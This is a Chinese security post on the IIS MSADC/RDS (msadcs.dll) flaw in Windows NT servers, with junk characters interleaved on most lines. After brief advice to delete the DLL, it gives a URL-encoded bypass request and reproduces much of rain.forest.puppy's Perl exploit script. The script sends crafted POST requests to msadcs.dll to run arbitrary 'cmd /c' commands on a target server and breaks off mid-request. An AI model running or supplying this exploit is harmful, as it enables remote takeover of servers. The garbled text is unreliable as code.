IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
A';QuWdT tZho)[1 涉及程序:
A3+6#?:; Microsoft NT server
$s gH'/> T+CajSV 描述:
/Ox)|)l 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
G]*|H0j 1;wb(DN*c 详细:
m,tXE%l 如果你没有时间读详细内容的话,就删除:
7NF/]y4w c:\Program Files\Common Files\System\Msadc\msadcs.dll
J?Iq9f 有关的安全问题就没有了。
L`3n2DEBf `&*bM0(J 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
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wNIu :&yDqoQKJ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
^:cRp9l"7 关于利用ODBC远程漏洞的描述,请参看:
-cfx2;68 MCYl{uH! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]P1YHw9 pFO^/P' 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
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f! http://www.microsoft.com/security/bulletins/MS99-025faq.asp y0IK,W'&? $H*/;`,\[ 这里不再论述。
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t .j?kEN?w 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
MCnN^ p^X^1X7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
=NDOS{($ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
pP.'wSj DW2>&| >K:u?YD[ #将下面这段保存为txt文件,然后: "perl -x 文件名"
4#BRx#\O m<@z}%v- #!perl
}ugxN0 #
d2jr8U # MSADC/RDS 'usage' (aka exploit) script
bFGDgwe z #
Qv{,wytyO # by rain.forest.puppy
f/ahwz #
"J19*<~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
, =y#m-9 # beta test and find errors!
g9>~HF$U x';uCKWV use Socket; use Getopt::Std;
CL9yEy"V getopts("e:vd:h:XR", \%args);
5PiOH"!19 W{Z^n(f4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;l!`C' :' jP=Hf=:$ if (!defined $args{h} && !defined $args{R}) {
qd6fU^)i print qq~
7%d8D>uw8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
qX6D1X1_ -h <host> = host you want to scan (ip or domain)
h9CIZU[Nh -d <seconds> = delay between calls, default 1 second
+^ yq;z -X = dump Index Server path table, if available
f
j<H6|3 -v = verbose
VmvQvQ/9R -e = external dictionary file for step 5
3V;gW%> wCb(>pL0 Or a -R will resume a command session
$a#H,Xv# 658^"]Rk'/ ~; exit;}
b?VV'{4 H3O@9YU $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
o"+
i&Wp~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1}g:|Q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2<r\/-#pU if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9- )qZ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,=PKd& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
6"QEJ |b.z*G if (!defined $args{R}){ $ret = &has_msadc;
PCE4W^ns die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
*e{PxaF!C LU2waq}VA print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+%#8k9Y . "cmd /c ";
;Icixu'O $in=<STDIN>; chomp $in;
X6@w krf- $command="cmd /c " . $in ;
JUt7En;XE M+Uyb7 if (defined $args{R}) {&load; exit;}
Mi0sC24b| K-Mc6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
SvuTc!$? &try_btcustmr;
63&^BW ,YLF+^w- print "\nStep 2: Trying to make our own DSN...";
P+(i^=S &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^[q /Mw Xs$Ufi print "\nStep 3: Trying known DSNs...";
^mPPyT ,( &known_dsn;
NiSO'=y$n Xe1P- 60 print "\nStep 4: Trying known .mdbs...";
Zi
ESlf$ &known_mdb;
|a(fejO3 ?IhB-fd>@ if (defined $args{e}){
Sc$UZ/qPT print "\nStep 5: Trying dictionary of DSN names...";
$g\&5sstE &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]z == ]r/^9XaqtA print "Sorry Charley...maybe next time?\n";
d7Ro}>lp exit;
Xu} U{x> GjT#%GBF ##############################################################################
FN87^.^2S *@S@x{{s sub sendraw { # ripped and modded from whisker
^vni&sJ sleep($delay); # it's a DoS on the server! At least on mine...
}DjYGMrTB my ($pstr)=@_;
0^l%j 8/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Gi?_ujZR die("Socket problems\n");
*yaw$oB if(connect(S,pack "SnA4x8",2,80,$target)){
ocQWQ select(S); $|=1;
v#oi0-9o[ print $pstr; my @in=<S>;
3S~(:#| select(STDOUT); close(S);
(Tvcq return @in;
7+,vTsCd } else { die("Can't connect...\n"); }}
-n))*.V c:hK$C)T ##############################################################################
EbK0j? P~ 0Jg#
V sub make_header { # make the HTTP request
:#{Xuy: my $msadc=<<EOT
`!4,jd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FfFak@H User-Agent: ACTIVEDATA
+l0g`: Host: $ip
93Yn`Av; Content-Length: $clen
M"Y0jQ( Connection: Keep-Alive
"lVqU ]\c,BWC@e ADCClientVersion:01.06
\vbk#G
hH Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
F:g= i}7 ff2d@P,! --!ADM!ROX!YOUR!WORLD!
%,V
YiW0 Content-Type: application/x-varg
wSXVyg{ Content-Length: $reqlen
nb,2,H h #.N3o EOT
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